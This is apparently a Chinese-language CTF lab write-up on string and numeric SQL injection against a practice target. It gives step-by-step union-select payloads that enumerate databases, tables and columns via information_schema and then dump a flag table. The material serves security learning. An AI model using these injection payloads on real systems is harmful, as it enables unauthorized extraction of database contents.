SQL字符型注入
靶机地址:http://www.whalwl.top:8005//bug/sql_injection/sql_string.php?title=1&submit=submit【2020年8月前有效】
多点几次submit,它会出现这么个玩意
都说了是字符型,直接上
whalwl' //报错
whalwl' # //注释单引号,不报错
whalwl' order by 3# //查找字段数,order by 4报错,order by 3刚好不报错,故有3列
whalwl' and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata#
//查找有那些数据库
这里注意两点:
1. 为什么要写and 1=2?
1=2是false,因为union是联合查询,如果union前边是对的,那么它的显示结果会覆盖union后边我们真正想显示的内容,原谅我还是小白,解释不清楚,直接看结果
2.schema_name为什么要用group_concat?
这里我走了一些弯路,一般来说用: union select 1,schema_name,3 from information_schema.schemata 就行,但是结果只显示了一个,请看,我没有骗你们
为此,我查了一下,请看大佬的博客:https://blog.csdn.net/new_cj/article/details/89633984
简单明了,当所查询表不能多行显示,只能显示一行时,默认查询时只会显示第一行的内容,使用GROUP_CONCAT函数,就可将多行数据转成一个字段
好了,继续,尝试了mysql和dwvs数据库,MySQL里面没有我想要的东西,flag肯定在dwvs里面啦
whalwl' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'dwvs'#
//查找dwvs里有哪些表
哈哈,flag表,是不是很开心,下面就简单了
whalwl' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = 'dwvs'and table_name ='flag'#
//查找flag表里有哪些字段,即列名
whalwl' and 1=2 union select 1,id,flag from flag#
噢啦
对了,这个平台还有一个数字型的注入,差不多(过程就省略啦,只给个结果)
靶机:http://www.whalwl.top:8001/bug/sql_injection/sql_num.php
。。。
id = 1 and 1=2 union select 1,id,flag from flag